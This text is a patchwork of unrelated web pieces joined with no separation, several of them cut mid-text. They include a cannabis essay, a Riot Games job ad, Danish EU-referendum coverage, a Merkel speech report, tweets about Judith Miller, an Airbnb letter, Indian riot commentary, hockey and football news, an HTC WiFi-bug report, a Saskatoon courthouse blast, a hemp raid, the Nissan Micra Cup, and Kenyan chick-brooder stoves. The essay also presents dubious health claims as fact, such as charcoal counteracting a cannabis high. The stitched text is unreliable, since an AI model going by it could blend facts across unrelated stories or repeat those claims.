The vibe in the dispensary was upbeat, professional, quiet. No hallucinators or obvious paranoiacs. Everything was neat. There was no Bob Marley playing. With all the coming and going, the line stayed more or less at capacity, but orderly. There were a lot more sleeve tattoos than at, say, a Starbucks, but the employees worked diligently at their posts, I wasn't in some hippy-dippy pot Shangri-la, but in a well-run business that accepts credit cards. In terms of admonitory guidance, I had been considering buying a few cannabis capsules to try, my guide did indeed point out that since I wasn't a regular user, I should probably start with a fraction of a capsule, and that the edibles might be a better and more economical way to go. In the end, I forewent the capsules--if my flight did indeed get out of Denver the next day, I'd have to dump this expensive purchase into the "Weed Amnesty" box at the airport before going through TSA.
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That evening, the airline sent us sad, delayed travelers to a similarly sad Red Lion, without the room service and chardonnay of Maureen Dowd's abode, where any exposed brick (they were indeed under construction) was not intentionally done. I took care not to down my entire pixie stick at once. It tasted quite good and I believe used organic sugar. My son's mj strains are bred for pain and anxiety, and I generally feel nice on it, but not any nicer than, say, a walk outside. At that particular time, there was no outside, no sidewalks in the industrial tundra the Denver Red Lion is in, only freeway and parking lot.
I had some anxiety that I'd be stuck in Denver forever (I was on my third cancelled flight) and possibly missing my residency. The recreational marijuana was a nice enough, smokeless way to send me off to sleep in a room continually being infiltrated by headlights from the freeway, the endless dinging of the elevator, the crunchy pillow. I did experience a nice little buzz, for which I was grateful, and by the morning, it was gone. If I'd at any point felt over-buzzed, I would have taken out one of my charcoal capsules, which I always carry because I have celiac disease, and charcoal basically absorbs anything you eat, whether gluten infraction or too much pot. During our son's medical marijuana adventure, I would often test his products because he can't articulate his experience--and I know from experience, charcoal directly counteracts the high.
I eschewed ineffectual and dangerous prescription drugs for cannabis for my child because it is one of the safest substances on the planet (safer than alcohol, caffeine, water from a toxicity standpoint), but it indeed can have temporary unpleasant side effects including altered perception. I wouldn't make fun of anyone who had a freakout, I empathize with the obviously frightening experience Dowd had. But I object to her making a bogeyman out of the marijuana and Colorado's legalization of it as responsible for her bad experience.
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She ends the column with an interview with Bob Eschino, an edibles maker, who incredibly, to her mind, doesn't see anything wrong with delicious pot products, and therefore doesn't wish to follow the suggestion that he should make edibles unappealing to combat overconsumption.
In this I cannot help but recall my friend "Gene" (my all-purpose male pseudonym) and his pita chip problem. Gene once came to a party very, very hungry, and began decimating a nearby bowl of pita chips. He ate many more pita chips than would be deemed sensible for someone of his weight, gender, and age. But it is, however, a free country. He subsequently threw up pita chips in an hours'-long fit of regurgitation that sounded like a moose was being flogged to death; in fact, a few times during this, Gene said death was looking quite appealing. Even now, just looking at pita chips brings back the PTSD of that day. Gene has, indeed, shown us the dark side of pita chips. But heroically, in order that others (possibly more moderate in temperament) can continue to enjoy pita chips, especially because they're so great for scooping up hummus and even guacamole, he does not call for them to be prohibited or regulated or even labeled in any way: CAUTION: overconsumption may cause uncontrollable vomiting.
"Why should the whole industry suffer just because less than five percent of people are having problems with the correct dosing?" Eschino says, sensibly, of pot--or pita chips.
As always we are hiring, and are particularly hiring experienced people. If you are part of some of the recent layoffs that have hit our industry, or you happen to be considering your next opportunity already, we'd love to see if there's a fit.
LoL is a big project, but there's a lot of things to do, and as the community tells us every day, there's more we could be doing. To do more things at the same time successfully, we need great leaders. What I'm referring to is the ability to enact positive change, make great design decisions, and have good judgement on complicated, ambiguous problems that involve things beyond just design.
Here are some of the advantages to working here:
1) If LoL happens to be your favorite game, I guess that means we uniquely are able to offer you the opportunity to work on your favorite game
2) We enable people who want to get things done to get things done. We don't believe in holding people to their specific job role -- our system enables significant flexibility beyond it. This is super empowering for the right kind of person.
3) We will empower anyone who can lead to be a leader here (after of course they empower themselves). In general though, you need not have prior titles as 'lead designer' to be a lead designer here. Many of the traditional 'lead designer' tasks here, like owning large new systems, don't require a large design team, and are led by a game designer or senior game designer. Of course, anyone doing these needs to have great judgement.
4) LoL has been pretty successful, and as such, offers a lot of unique problems to solve, and a lot of players to please if you do your job well. Additionally, as a live game that people are playing all the time, it's a very, very different feel than most other game industry projects. You get faster feedback on things that work, have different concerns, and so forth. I think that a natural inclination of people is to assume that because LoL is a released game that there are less design problems to solve. I used to think this might be the case, but it turns out, there's actually in some cases more.
5) Our work life balance is pretty good. Crunch as is traditionally understood has not been something the design team has experienced since before LoL shipped.
6) If you like mentorship, there are a lot of great opportunities here, and we value great mentors.
7) We compensate generously. I know this is not your primary motivation for considering us, but we live in a capitalist society, and being generously compensated for your efforts certainly can't hurt.
Here are some types of problems you could work on:
Champion Design
New Features
Social Systems and Player Behavior Systems
Play balance
Updates/Overhauls to older maps
Lots more...
There's a lot of different types of opportunities. I'll be at GDC of course, and we are always filtering resumes. Feel free to apply for Lead Designer or Sr Designer if interested (or any other role that fits you):
http://www.riotgames.com/careers/lead-designer
http://www.riotgames.com/careers/senior-game-designer
Also have a design director spot open:
http://www.riotgames.com/careers/design-director
And of course, yes, we are hiring interns for the summer:
http://www.riotgames.com/internships
FAQ:
Q:Zileas, does this mean that [insert possible adverse personnel problem] has happened?
A:No. Riot is a fast growing company, and the needs of the organization are growing along with that. To do all of the projects within LoL, and to be in a good position for any future ambitions, we need additional capable design leaders. This is an opportune place to look, and I do it periodically every few months.
Så mange nye retsakter i form af direktiver og forordninger tilvælger Danmark ved et ja til at ændre retsforbeholdet efter folkeafstemningen den 3. december.
Sådan lyder det ofte i debatten op til den kommende afstemning.
Men ser man nærmere på det samlede antal af retsakter ved et ja, bliver Danmark bundet af langt flere retsakter end de 22, som ja-partierne fremhæver i både den politiske aftale og i det lovforslag, der ligger til grund for afstemningen.
Schengen kommer oveni
For det første bliver Danmark også bundet af de retsakter, som omhandler EU's samarbejde om fri bevægelighed inden for EU's grænser, Schengen-samarbejdet.
Ifølge Justitsministeriet drejer det sig om 100 retsakter - både forordninger, direktiver, afgørelser og beslutninger.
Læs også : OVERBLIK Det er på spil den 3. december
Alle de retsakter har Folketinget allerede vedtaget og gennemført i dansk lovgivning i dag. Men ved et ja bliver vi bundet til at følge dem på overstatsligt niveau.
"Det, der grundlæggende ændrer sig ved et ja, er, at EU-domstolen kommer på banen." jurist på sdu, Henning Bang Fuglsang Madsen Sørensen
- Det, der grundlæggende ændrer sig ved et ja, er, at EU-domstolen kommer på banen, forklarer adjunkt på juridisk institut ved SDU Henning Bang Fuglsang Madsen Sørensen.
- Hvis vi går til kanten af Schengen-reglerne i dag, så kalder det på en politisk reaktion, hvor den danske justitsminister står til at få en skideballe fra de andre landes ministre, siger han.
I det tilfælde kan en hårdhudet, dansk justitsminister slippe af sted med meget, siger han.
Men ved et overstatsligt samarbejde vil både det politiske niveau og EU-domstolen irettesætte Danmark for at bryde reglerne - for eksempel ved at indføre permanent grænsekontrol.
EU-domstolen kan blandt andet idømme Danmark dagbøder, fortæller forskeren.
https://www.facebook.com/DRNyheder/posts/1070437113006812
Parallelaftalerne skal med
Men det er ikke de eneste retsakter, Danmark bliver bundet af ved et ja.
For ja-partierne er også enige om, at Danmark bliver bundet af de retsakter, som vi i dag deltager i via de parallelaftaler, vi har med EU.
Det er for eksempel EU's regler for, hvilke lande der er ansvarlige for at behandle en ansøgning om asyl fra en nytilkommen asylansøger i EU - den såkaldte Dublin-forordning.
Læs også : GRAFIK En parallelaftale med EU - se her hvad det handler om
I lovforslaget bag afstemningen om retsforbeholdet fremgår det, at det handler om fire forordninger, vi bliver bundet til at følge ved et ja.
Til dem er der knyttet en række afgørelser, som vi ifølge EU Oplysningen samtidig skal følge.
De kommende EU-love
Og listen bliver længere ved et ja.
For ja-partierne har understreget, at Danmark også skal tiltræde den nye Europol-forordning, når den ligger klar.
Læs også : ANALYSE Danmark har to muligheder for at blive i Europol efter et nej
Derudover vil Danmark også binde sig til at følge de nye regler, der kommer vedrørende samarbejdet mellem de europæiske anklagemyndigheder i det såkaldte Eurojust og det kommende europæiske system for registrering af flypassagerer (PNR).
De tre kommende lovforslag skal også regnes med i det samlede regnestykke over retsakter, Danmark skal indrette sig efter ved et ja den 3. december.
https://www.facebook.com/video.php?v=1070241503026373
Over 100 retsakter ved et ja
Tager man Justitsministeriets tal, betyder et ja, at vi i hvert fald bliver bundet til at efterleve 29 retsakter i form af direktiver og forordninger.
Derudover kommer de 100 Schengen-retsakter i form af direktiver, forordninger, beslutninger og afgørelser, som vi også skal til at efterleve i et overstatsligt samarbejde ved et ja.
I alt 129 retsakter.
Hvor meget de danske politikere senere vælger at tiltræde, hvis retsforbeholdet bliver til en tilvalgsordning, er ikke medregnet her.
Så meget vælger vi fra
Og så er der de retsakter, vi fravælger.
I den politiske aftale om at ændre retsforbeholdet står der, at Danmark fravælger ti retsakter samt de retsakter, der handler om EU's lovgivning på asyl- og indvandringsområdet.
Ifølge Justitsministeriet drejer det sig om 18 retsakter.
Læs også : Danskernes EU-skepsis rykker vestpå
Det bliver 28 fravalgte retsakter i alt.
EU Oplysningen regner videre og når op på, at Danmark fravælger 145 retsakter - blandt andet fordi de regner beslutninger og afgørelser med.
Forvirret?
Det medgiver Folketingets EU Oplysning, at man kan blive.
- På sin vis minder diskussionen lidt om diskussionen om, hvor meget EU påvirker den danske lovgivning. For hvad skal man inkludere i sin optælling, og hvad skal ikke med?, skriver EU oplysningen på sin hjemmeside.
• EU's forskellige retsakter:
• Forordninger: Er almengyldige. De er bindende i alle enkeltheder og gælder umiddelbart i hver medlemsstat.
• Direktiver: Er med hensyn til det tilsigtede mål bindende for enhver medlemsstat, som de rettes til, men det overlades til de nationale myndigheder at bestemme form og midler for gennemførelsen.
• Afgørelser/beslutninger: Er bindende i alle enkeltheder. De kan have generel gyldighed eller være rettet mod en bestemt modtager.
• Kilde: Justitsministeriet
German chancellor Angela Merkel has warned that Moscow’s annexation of Crimea undermines the previously unchallenged principle of sovereignty in post-war Europe.
In her toughest remarks yet directed at the Kremlin, the German leader said a failure by Russian president Vladimir Putin to make a credible contribution to de-escalation efforts in Ukraine would lead to further international sanctions.
“President Putin is called upon to call on pro-Russian forces in Ukraine to lay down their weapons,” she said, saying Russian troops on the border exert “huge pressure on Ukraine”.
The German leader said recent conciliatory signals from Moscow encouraged her that diplomatic efforts remained worthwhile. But she told a Berlin audience that Russia’s annexation of the Crimean peninsula had “shaken us all” and threatened the territorial integrity that had served – and been accepted – as the post-war order in Europe.
Annexation
“We have to call these things by their name,” she said. Pointing to the Soviet Union’s four-decade annexation of the Baltic countries she said the current crisis would take some time to resolve and that she was “sometimes surprised at how short-term many people’s thinking has become”.
While stepping up her rhetoric, Dr Merkel said Germany would continue to work for a political solution – in particular to ensure the May 25th presidential election was peaceful and democratic.
The Organisation for Security and Co-Operation (OSCE) remained the key player in the pre-election period, she said, proposing a round table structure to resolve the crisis, following the model that brought a negotiation political transition in central and eastern Europe in 1989/90.
On Wednesday the German leader warned that those who stirred up conflict over Ukraine’s national integrity would “only damage themselves”.
“In Crimea we’re experiencing a regression into old patterns of thinking,” said Dr Merkel at an event commemorating the start of the first World War. “The answer to globalisation is not old patterns of thinking or partition but developing common interests – that’s what makes Europe appealing.”
Normandy landings
The chancellor criticised Russian plans for a military parade in Crimea today to mark the Soviet Union’s victory over Nazi Germany but welcomed Mr Putin’s plans to attend the 70th anniversary ceremonies to mark the Normandy landings.
At the podium discussion in Berlin, in the middle of a sentence on Ukraine, Dr Merkel’s mobile phone went off in her jacket pocket.
At this point, a question occurs. Judith Miller’s past: Will she ever live that down? Let’s find out.
Does she really not see the irony here pic.twitter.com/H1wKC1B6kt — Jack Mirkinson (@jackmirkinson) January 17, 2017
How many people died because this woman helped lie us into war? https://t.co/jAn4eNxT36 — Justin Raimondo (@JustinRaimondo) January 17, 2017
Judy's Iraq-War starting stories ALL based off leaks. Those leaks killed 100s of 1000s.
Ready to send your murderous sources to prison? https://t.co/ez2yw2cwmU — emptywheel (@emptywheel) January 17, 2017
@JMfreespeech you literally caused the iraq war to happen under false pretenses, bye. — Myles Tanzer (@mylestanzer) January 17, 2017
It's not that Judith Miller thinks it's BAD to publish things that get people killed. It's that she's competitive. https://t.co/zkYkjAXmJJ — Jon Schwarz (@tinyrevolution) January 17, 2017
[raises hand] I have a related question https://t.co/y4pNeIrWpq — Simon Maloy (@SimonMaloy) January 17, 2017
Less than the number who died because of your Iraq war reporting. https://t.co/oBnMMqQuAe — Ian Millhiser (@imillhiser) January 17, 2017
THIS IS BLOWING MY MIND IT IS JUST BLOWING MY MIND https://t.co/GLfI4RyMoZ — Jack Mirkinson (@jackmirkinson) January 17, 2017
Judith Miller's inability to recognize the fact or breadth of her own body count is one of the great rationalizations of history https://t.co/ccQ0lcFTvO — Keith Olbermann (@KeithOlbermann) January 17, 2017
How many people died because of 'leaks' to Judith Miller. Someone needs a prosthetic self-awareness https://t.co/Uw4M5r55gx — Josh Marshall (@joshtpm) January 17, 2017
@JMfreespeech Do you realize you're THAT Judith Miller? — Meredith Haggerty (@manymanywords) January 17, 2017
Judith Miller should probably sit this one out. — Jane Coaston (@cjane87) January 17, 2017
I'm not sure "How many died because of...?" is a game Judith Miller really wants to play. https://t.co/TChAGyWFPA — Jesse Walker (@notjessewalker) January 17, 2017
@JMfreespeech apparently none--unlike the known hundreds of thousands who died based on faulty Iraq WMD coverage — Greg Mitchell (@GregMitch) January 18, 2017
Hmmmm, you should Google "Judith Miller + New York Times + Iraq + WMD Lies" https://t.co/EQBssDQrWx — Andrew Kirell (@AndrewKirell) January 17, 2017
DO YOU HAVE AMNESIA??? LIKE, REALLY????? DO YOU NOT REMEMBER????? https://t.co/GLfI4RyMoZ — Jack Mirkinson (@jackmirkinson) January 17, 2017
So, ah, the answer is “no.”
This has been “Will Judith Miller Ever Live It Down?”
The Huffington Post
Unfortunately, what I know of him as a physician was gleaned from the discretely disguised stories related in the medical jargon physicians use at neighborhood barbecues and holiday celebrations.
That was the case until two weeks ago when I finally convinced my sister to list her apartment on Airbnb for the summer. Within a few days she had an awesome tenant with whom she enjoyed a few pleasant exchanges. Then she received an email from the tenant’s mom that brought my sister to tears. I have included it below (Names & places redacted).
Dear Bri,
My name is [], and my daughter, [], a junior at New York University, will be your new tenant this summer. When my dear friend, [], found your apartment on Air B & B, he sent me your name along with the address of the apt. Upon reading your name, I was flooded with emotion.
In 1987, I was a 27 yr old professional singer and songwriter in NYC: a blonde waif living with a longtime boyfriend, and your father’s healthy patient. That yr began happily, but by summer, while pregnant with a child I wanted, I became nearly paralyzingly exhausted and a lymph node protruded from my neck… Another doctor of mine ran blood tests and said I had the Epstein Barr virus and to absolutely not have a biopsy… But additionally, I went to your father who, in the sweetest yet firmest tone, told me I WOULD be having a biopsy, immediately. And he would be guiding me no matter the results… Within weeks I was diagnosed with a stage 3B lymphoma, a very advanced stage, and then your dad, along with his partner, Dr. [], walked me through the bleakest time of my life: I would have to end the pregnancy to save my own life, and begin an arduous journey of surgeries, and chemotherapy…. It was a year of hell, and this was a long time ago in the world of chemo…
I do not say this lightly or mellow dramatically: Your father and Dr. [] were like angels in my life. They treated me like gold. They sometimes did the thinking for me when I was too sick or bereft to think in my own best interest. They never made me sit for long in the waiting room… They held my hand. They found me the best oncologist in NYC, listened to all my questions and made me laugh and hugged me. I can say with sincerity, not only did they save my life, they did it like angels. I remember when you were born. And your dad had these huge, beautiful pictures of you and your brother adorning all the walls of his office…
I was told that -given the chemo at that time- I would probably never be able to conceive because all my eggs would be killed…. It was heartbreaking news. But miraculously I DID conceive and have a daughter and a son. And my beautiful girl will be living in your apartment this summer!
8 million people in the city, and our lives intersect in this way… It made me cry.
When your dad left his practice in the city it was sad for me… But and husband and I moved and raised our kids in Montana… I sure hope your parents are well and I send them my love. They knew me as []…
Love to you,
Airbnb’s economic impact is obvious and has few limitations. This summer, they approach one million rooms rented each night but what will not be chronicled in the cold rationality of a milestone reached or in the countless articles written about Airbnb’s success (and what can probably never be measured) is the exhilarating, mysterious alchemy of the human experience, which they enhance. They connect people through space and time.
Our legacies are not the aggregate of what we have accomplished but rather they are the ripple effects of each and every interaction.
It is how my father has lived each day and I have been a witness to the small gifts so many have received from the seeming small kindnesses. Still, I am grateful for the small glimpse into the physician my father was that was given me by my sister’s Airbnb tenant’s mom.
Thanks pops and thanks Airbnb.
"The actual difference is that in case of the Gujarat riots all those cases which were closed by the Police were reopened and reinvestigated by the SIT. The Congress fully supported the formation of this SIT. In a shameful display of double standards, when it comes to the 1984 riot cases, again most of the cases were closed by the Police itself but the Congress is not supporting the demand of formation of SIT ," pointed out Phoolka who also co-authored a book titled- "When A Tree Shook Daily," coined after Rajiv Gandhi's famous quote after his mother Indira Gandhi's assassination.
According to the Nanavati Commission Report which was submitted in 2005, a total of 587 FIRs were registered in Delhi and out of these 241 were closed by the Police as untraced and were never even sent to Court for trial. "It is thus absolutely imperative to form an SIT to reopen and reinvestigate these cases but unfortunately the Congress is not interested in formation of an SIT.
There are other glaring differences as well. In the Gujarat riots, 131 persons have been awarded life imprisonment, 10 have been awarded the death sentence and one minister has been sentenced to 28 years imprisonment. In stark contrast, in the riots of 1984, hardly anyone has been punished.
"As far as the involvement of the Government is concerned, Rahul Gandhi should only see the report of Mishra Commission, a commission appointed by the Congress government only," Phoolka said while quoting from the Mishra Commission's report which read- "If the Army had been called in the morning of November 1, 1984-and by then about 5,000 Army people were at Delhi- the position would certainly not have been as bad as it turned out to be. 5,000 Army jawans divided into columns and moving into the streets properly armed would not have brought about the death of at least 2,000 people."
Those political leaders who openly led the mob were rewarded and given high positions. Instead of sending them to jail they were given position of power and made ministers. This sent a wrong signal and started a dangerous precedent that murders of hundred and thousands of innocents would not be punished, and would rather be rewarded.
If the guilty of 1984 riots had been punished, we wouldn't have seen the riots of Mumbai in 1993 or the riot of Gujarat in 2002 and it was the active connivance of the Congress government in 1984 and its massive cover up for all these decades thereafter, that has prevented justice from being done for the victims of 1984, he said adding, Rahul Gandhi's statement was like salt on the wounds of the victims of 1984.
“So, for example, on Secretary of State, we would certainly consider someone like Madea Benjamin, who is already a world traveler and an advocate for just and peaceful relations with other countries. That is Madea Benjamin of Code Pink.
Earlier today, the Red Wings signed Northville native Kevin Porter to start their free-agent signing period.
According to reports, they’ve added another Michigan native and a fellow Hobey Baker winner in Andy Miele.
Miele, a 26-year-old native of Grosse Pointe Woods, has signed with Detroit, according to Scott Norton of Norton Sports Management.
The Grosse Pointe Woods native won the 2011 Hobey Baker Memorial Award in 2011 during his senior season with the Miami RedHawks; Miele led the nation in scoring with 71 points in just 39 games.
As far back as September, security researchers discovered a "critical" bug in many HTC Android handsets that exposed users' WiFi credentials to any hacker who cared to look. The flaw affected recent devices like the Thunderbolt and EVO 4G all the way back to the Desire HD . The researchers promptly notified HTC, but the manufacturer waited a full five months before acknowledging the flaw publicly a few days ago. Sounds shady, perhaps, but HTC sent us a statement clarifying that this is standard policy to protect customers. It says it waited to develop a fix before it alerted the big bad world to the vulnerability. Most newer devices have already received their fix OTA, but owners of some older phones -- we'll update this post when we know exactly which ones -- will need to check the HTC Support site for a manual update next week. Meanwhile, in the manufacturer's defense, the guys at the Open1X group who discovered the bug say that HTC was "very responsive and good to work with." Here's HTC's statement to us:
Per The Hollywood Reporter, Depp and a handful of other big name talents came on board to help 16-year-old cancer patient Anthony Conti bring to life his zombie film The Black Ghiandola. Depp was joined by folks like Sam Raimi, David Lynch, Catherine Hardwicke, Laure Dern, Penelope Ann Miller, and J.K. Simmons. The film was shot over the course of five days last month, with Raimi, Hardwicke, and Ted Melfi (St. Vincent) taking turns in the director’s chair.
Conti wrote the script with Scott Kosar, who penned the 2003 Texas Chainsaw Massacre remake. Additional writing was contributed by Wash Westmoreland (Still Alice).
In Black Ghiandola:
A young man risks his life saving a young girl he has grown to love after his family has been killed during a zombie apocalypse.
There were no injuries, but the exterior of the building was damaged.
"We want to encourage the public to be aware but not be afraid," said Saskatoon Police Sgt. Randy Huisman. "We would like them to be vigilant and report any suspicious activity."
An eyewitness took this picture after Wednesday night's explosion. (Scott Dempster)
Huisman stressed there were no links to international terrorism, and that the bomb in question was at the low end of the destructive spectrum.
Many police units, from the bomb squad to canine units trained in finding explosives, have been mobilized to try to find the person responsible.
For roughly half an hour, police blocked exits to a bar located a block away after the explosion to identify any suspects who may have come into the establishment.
Meanwhile, Saskatchewan's Ministry of Justice called the event very concerning, adding it will work with Saskatoon Police to find who was responsible.
The ministry said provincial courts will continue today at all points across Saskatchewan. The provincial government will review security to make sure all courts in Saskatchewan are safe.
'A huge bang'
Engineer Scott Dempster was out with a friend playing Pokemon GO when he saw a small fire coming from the courthouse.
He and his friend stopped to watch from across the street. Suddenly, they heard a loud bang and saw an explosion.
"I thought we were just watching a small fire, to make sure it didn't spread," he said. "Then, all of a sudden, there was a huge bang."
Dempster's 12-year-old Shih Tsu cowered on his lap at the loud noise. He and his friend got out of their car to take a closer look but kept their distance.
Scott Dempster and his 12-year-old dog Karter saw the courthouse bombing last night. (Jason Warick/CBC News)
They called 911, and fire fighters quickly arrived and extinguished the blaze.
Police spoke to Dempster, his friend and others who had gathered to watch the scene. He didn't see anyone fleeing the scene, but the fire was already burning when he arrived.
"It's not something you expect in Saskatoon, Saskatchewan," he said.
Like a 'Molotov cocktail'
City councillor Hilary Gough stumbled across the scene shortly after 11 p.m. while she was riding her bike home.
She knew there was something odd when the car in front of her stopped in the street with its hazard lights on. The fire department arrived shortly afterward.
"You could tell there was some significant damage to the front entrance to the building," she said. "My initial thought was, it kind of looked like somebody threw a Molotov cocktail through the front window."
Very small fire in the front entrance of Kilburn Hall. Pulled up to the foggy intersection just ahead of <a href="https://twitter.com/SaskatoonFire">@SaskatoonFire</a> <a href="https://twitter.com/hashtag/yxe?src=hash">#yxe</a> <a href="https://t.co/8Hi3d1p40n">pic.twitter.com/8Hi3d1p40n</a> —@hilaryYXE
Gough said there was a small fire outside the building when she arrived which was quickly sprayed down by firefighters.
"It just looked very puzzling," she said. "It didn't look like an active fire in the sense that it was growing and existing inside the building in any major way."
While the city has recently received a number of false "white powder" scares over the past several months that have shut down traffic and cost the city thousands of dollars, Gough doesn't believe anyone should panic.
"I'm certainly concerned about seeing this kind of activity in our city," she said. "My initial thoughts aren't that this is indicating some sort of major thing that we need to be concerned about in a way that we haven't been before."
The scene at provincial court. (Dan Zakreski/CBC)
Suspicious package in February
In February, police found a backpack containing fireworks and roman candles outside the courthouse, along with a suspicious-looking device that was being tested.
The explosives disposal unit was brought in to destroy some of the items.
The tribe says it was growing industrial hemp, but the DEA says it was high-grade marijuana.
Whether the plants are industrial hemp or high-grade marijuana, Menominee Indian Tribal Chairman Gary Besaw says a federal raid should have never happened last Friday on tribal land.
"We believed we were well within limits," said Besaw. "If it was above limits, we were ready to take the appropriate action."
The limit Gary Besaw is talking about pertains to THC. The amount of THC is a distinguishing difference between marijuana and industrial hemp. Under the 2014 Farm Bill, industrial hemp can't have a THC level above .3 percent.
Besaw says the tribe has tried to work in good faith with federal authorities since it started its hemp operation in early July.
"We had an open door policy," said Besaw. "Come see us, you can come look, test it. If we were trying anything clandestine, I don't think that would have been a wise approach to do that."
The DEA says in its raid it seized 30,000 high-grade marijuana plants, weighing several thousand pounds. A search warrant shows federal agents tested several random plants. An initial test came back negative, with a second being positive. The warrant also shows federal agents found Colorado residents working with the tribe, one advertising himself on Linked-In as a cannabis consultant.
Besaw says back in July, he provided federal authorities with a list of everyone who would be involved with the hemp project.
"It's not a secret," said Besaw. "I'm perplexed by what happened. This doesn't make sense to me."
The tribe plans to go to court, hoping for clarification on whether its operation was compliant under the farm bill.
No arrests have been made. The DEA has said the investigation is on-going.
The cheapest vehicle in North America now has its own race league, but only for those who live in Canada.
Nissan Canada is launching the Micra Cup which will run over the course of five weekends starting in May of 2015. For now, the league will run exclusively in the province of Quebec, though Nissan says it has potential to expand to other provinces in 2016. Each weekend will offer the competitors two hours of track time consisting of: a 30-minute trial, a 30-minute qualifying session and two 30-minute races.
To get a fully race-prepped Micra, participants have to drop only $19,998 CDN, which includes installation of all the modifications. For that price, you get a NISMO-tuned suspension, FIA-approved race seat with a five-point harness, a fire extinguisher, a modified exhaust, high-performance brake pads, a safety cage, a driver protection net, front and rear towhooks and new wheels fit with Pirelli high-performance tires.
SEE ALSO: 2014 Nissan Micra Review
Beyond all the add-ons, the Micra Cup will also have the seats, floor and door panels removed to reduce weight and prepare it for the conversion. Powering the car is the same 1.6-liter four-cylinder engine that makes 109 hp and 107 lb-ft of torque.
GALLERY: Nissan Micra Cup
The locally built stove, used for cooking and home heating in the cool region, contains a separate warming area where chicks can be kept to keep them healthy and safe, farmers say.
The innovation has helped reduce demand for wood in a country hard-hit by deforestation while keeping more chickens alive and raising incomes, farmers say.
"I refer to (the stove) as my support to cutting my expenses and a boost to rearing my chicks," said Duncan Ndegwa, who started using the stove four years ago in Gichangi village, in Nyahururu sub-county. He now earns enough from selling chickens to pay school fees for his three children.
He said the stove, introduced by the Tree is Life Trust, a local non-governmental organization, has helped him cut his use of wood for cooking and heating by two-thirds, saving him about 600 Kenyan shillings ($6) a week in fuel costs.
Take Action: Tackling the issues that most impact the environment today
That has helped cut deforestation in a country where an estimated 93 percent of Kenyans still use fuels such as charcoal, firewood or paraffin for cooking, according to the Kenya National Bureau of Statistics and the U.S.-based Society for International Development.
Kenya is currently trying to boost its amount of forest from 6.9 percent of its land area to 10 percent, to protect its water supply and biodiversity, and to limit climate change.
"Using (the stove) improves people's livelihoods while reducing degradation of the environment," said Thomas Gichuru, executive director of the Tree is Life Trust, based in Nyahururu.
The stove won a Green Innovation Award from Kenya's Ministry of Environment and Natural Resources in 2014. The prize recognizes an innovation that contributes to curbing climate change or helping people adapt to it.
Take Action: Tackling the issues that most impact the environment today
The stove was developed by the trust and originally piloted in Ng'arua village in Laikipia West sub-county.
The efficient ceramic stove – about 1,800 of which are in use in Laikipia and Nyandarua counties – has helped Ndegwa boost his chick survival rate from less than 30 percent to nearly 100 percent since he installed it, he said.
"Recently I sold all the 40 chicks I had in the brooder to pay fees for my son, who had just joined high school. None of the (chicks) died," he said.
"I could get three to eight out of 30 hatched chicks (to survive) when I raised them free range because many died from cold-related complications and others were eaten by predators. And the surviving chicks took six months to attain a marketable weight. But I have managed to sell in two months those I have raised with the stove," he said.
Laikipia County lies on the equator but has a cool climate. At times, temperatures drop to just 8 degrees Celsius (46 degrees Fahrenheit), which can kill chicks or slow their growth.
The ceramic stove brooder, four feet (1.2 meters) long and two feet (0.6 meters) wide, can remain warm for 12 hours after being stocked with wood, and holds a maximum of 70 chicks.
With the stove, a farmer can separate chicks from the hen immediately after hatching and keep them in the brooder. That helps the hen start laying eggs again after three or five days, Gichuru said.
Normally farmers let the hen raise the chicks until they are old enough to fend for themselves, which can keep the hen from laying again for several months.
The stoves cost less than 2,000 Kenyan shillings ($20) to install since they are made from locally available materials, Gichuru said.
For farmer Joseph Mwangi, who carries his chickens to market in Laikipia West on a motorcycle, along 23 kilometers (14 miles) of bumpy roads, the stove has turned around his once faltering business since he installed it two years ago.
"I have tried to raise poultry for more than 20 years but often the chicks died from cold," said the farmer from Moroto village. "I almost gave up but I am happy I have been able to successfully raise an average of 50 chicks with this stove."
Each small tree he cuts for firewood now lasts a week rather than three days, he said.
Absalom Ragira, an environmental specialist with the Tree is Life Trust, said use of the ceramic stove supports the government's efforts to expand forests, reduce poverty and promote the well-being of people.
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In June, Kenya's Treasury reduced the import tax on energy-saving stoves from 25 percent to 10 percent to encourage their uptake.
Following yesterday’s result, the board has decided that Terry Brown and Stuart Cash should step down as manager and assistant manager respectively, with immediate effect.
“This is a terribly sad moment for all of us. Terry has been a wonderful manager and a fantastic ambassador for the club since we appointed him over five years ago. He and Stuart guided us from the Ryman League into the Football League and for that we will be forever grateful. On behalf of everyone at the club and all the fans, I’d like to thank them for everything they have done for us.” Chief Executive, Erik Samuelson, said:
Simon Bassey will take on the role of caretaker manager and the club will start the process of recruiting a new manager immediately.
Terry Brown said: “Last night was a special moment as not many managers get to leave in such a way by saying goodbye to the supporters. Stuart and I felt that we had to get a couple of wins out of our home games and that if we lost both games then we would no longer be at the club. That is sad, but I will remember five absolutely fantastic years at the club. I cannot say I have enjoyed this season as it has not gone well, but my abiding memory will be our three promotions. I will never forget having the honour of being the manager who took Wimbledon back into the Football League. It is really important that whoever takes over this club understands the history of this great club and hopefully the next manager will win the matches to keep us in League 2 and maybe get us into League 1.”
Terry added: “I really feel as a manager that you have a timespan at a club, unless you are someone like Sir Alex Ferguson or Arsene Wenger, and can continually be successful. There comes a point when it is time to move on and maybe a club needs someone else. I may have a heavy heart at the moment, but I will be at Wycombe on Saturday supporting the boys.
“I would really like to thank the board, who have supported us all the way. They have been fantastic, even up until the last week when we needed to bring in Steven Gregory and Will Antwi due to injuries. I must also say a big thank-you to the volunteers at the club as they have been a huge help to me. The fans have been absolutely fantastic to me as they were even singing my name when things were not going well and it looked like I would be leaving. I will still look for Wimbledon’s results and will still come and visit even if Stuart and I find another club. It is not a time for being despondent about leaving the club, it is time to remember the fantastic times that we have had here.”
Assistant manager, Stuart Cash, said: “I am very proud to have been a part of the management team here and to have helped the club to so many successes during the past five years. The club have been fantastic to myself and Terry. Along with the supporters and volunteers, I must take time to thank the club staff and people like Simon Bassey, Jason Moriarty, Mike Rayner, Trevor Williams and Robin Bedford as they have been a pleasure to work with. But we must also remember the players who helped to get us into the Football League. Without the likes of our first captain Jason Goodliffe, Jon Main and Danny Kedwell we would not have got out of the non league. You are only as good as the players that you have on board. So many people have helped to make our time at the club a success and played a massive part in our achievements.
Two decades later, the manga has sold over 400 million copies, cementing its status as the most popular manga of all time, and the third most popular comic (and if trends continue, Luffy is poised to vault over much older heroes Batman and Superman).
